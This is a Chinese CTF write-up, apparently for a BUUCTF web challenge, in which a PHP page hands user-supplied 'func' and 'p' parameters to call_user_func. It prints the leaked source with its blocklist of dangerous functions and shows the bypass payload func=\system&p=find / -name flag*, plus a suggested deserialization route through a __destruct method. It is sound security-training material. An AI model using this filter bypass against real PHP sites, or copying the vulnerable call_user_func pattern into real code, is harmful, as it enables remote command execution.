文章目录
-
打开网页显示为:
网页提示了我们一些内容,也不知道怎么弄,网页源码也没有提示,那就抓包,或许有奇迹呢? -
抓包数据:
POST /index.php HTTP/1.1 Host: ee51716b-b9df-432e-bbeb-1ddd01f902cb.node4.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 29 Origin: http://ee51716b-b9df-432e-bbeb-1ddd01f902cb.node4.buuoj.cn:81 DNT: 1 Connection: close Referer: http://ee51716b-b9df-432e-bbeb-1ddd01f902cb.node4.buuoj.cn:81/index.php Upgrade-Insecure-Requests: 1 func=date&p=Y-m-d+h%3Ai%3As+a
最后一行提交的数据,和网页给我们的提示具有一定的关系,莫非是我们自定义函数进行提交,然后后端执行我们提交的函数?
-
进行注入:func=system&p=ls
失败了,莫非有过滤吗?但是想想这种敏感函数被禁了也正常,换一个 MD5 执行一下
这里成功了,说明猜想正确,这个后面确实存在过滤
-
我们不知道它到底过滤了哪些内容,我们需要对其源代码进行获取,对 PHP 内置函数进行查找,可以获取文件的函数 — file_get_contents 读取整个文件内容
获取到了文件的内容,也获知了过滤了那些内容,然后我们就可以开始干活了
对其中一些函数的功能进行了了解 (下面两个函数在一起执行的时候有奇效 常见的一些函数<?php $disable_fun = array("exec", # 执行一个外部程序 "shell_exec", # 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 "system", # 执行外部程序,并且显示输出 "passthru", # 执行外部程序并且显示原始输出 "proc_open", # 执行一个命令,并且打开用来输入/输出的文件指针。 "proc_terminate", # 杀除由 proc_open 打开的进程 "show_source", # 语法高亮一个文件 "phpinfo", # "popen", # 打开进程文件指针 "dl", # 运行时载入一个 PHP 扩展 "eval", # 把字符串作为PHP代码执行 "touch", # 设定文件的访问和修改时间 /** * 下面这两个函数混合在一起在特定的版本下会有奇效 * 见上方链接 */ "escapeshellcmd", # shell 元字符转义 "escapeshellarg", # 把字符串转码为可以在 shell 命令里使用的参数 "assert", # 检查一个断言是否为 false "substr_replace", # 替换字符串的子串 "call_user_func_array", # 调用回调函数,并把一个数组参数作为回调函数的参数 "call_user_func", # 把第一个参数作为回调函数调用 "array_filter", # 使用回调函数过滤数组的元素 "array_walk", # 使用用户自定义函数对数组中的每个元素做回调处理 "array_map", # 为数组的每个元素应用回调函数 "registregister_shutdown_function", "register_tick_function", # 注册一个函数以便在每个 tick 上执行 "filter_var", # 使用特定的过滤器过滤一个变量 "filter_var_array", # 获取多个变量并且过滤它们 "uasort", # 使用用户自定义的比较函数,保持索引和值的对应关系,原地排序 array。 "uksort", # 使用用户自定义的比较函数对数组中的键名进行排序 "array_reduce", # 用回调函数迭代地将数组简化为单一的值 "array_walk", # 使用用户自定义函数对数组中的每个元素做回调处理 "array_walk_recursive", # 对数组中的每个成员递归地应用用户函数 "pcntl_exec", # 在当前进程空间执行指定程序 "fopen", # 打开文件或者 URL "fwrite", # 写入文件(可安全用于二进制文件) "file_put_contents"); # 将一个字符串写入文件 function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); # 转换为小写 if (!in_array($func,$disable_fun)) { # 筛选 echo gettime($func, $p); }else { die("Hacker..."); } } ?>
-
现在我们知道了过滤的函数类别,现在需要对其进行绕过,
很明显这里面没有我们想要的数据,接下来我们需要使用到一些 Linux 的命令,在 Linux 中存在一个在所有目录中寻找指定文件的命令
func=\system&p=find / -name flag*然后使用 cat 命令函数进行执行即可
-
这道题还有一种解法是使用 php反序列化 (这个我明天应该会写一个总结)
我们可以看到在源码中是存在一个类的,其次在进行过滤的时候我们发现它只分辨 func 参数而 p 参数的内容完全不管,再加上 Test 类中也是会执行 gettime() 函数的,所以我们可以不可以使用 PHP 反序列化漏洞进行注入呢?
剩下的步骤照上面就好了
总结
- 我们在进行测试的时候要大胆的猜测后端的功能
- 在进行测试漏洞的时候我们需要有多方面的知识的综合,我们应该掌握各方面的知识或者掌握百度
- 对于代码的执行以及存在的函数、漏洞保持敏感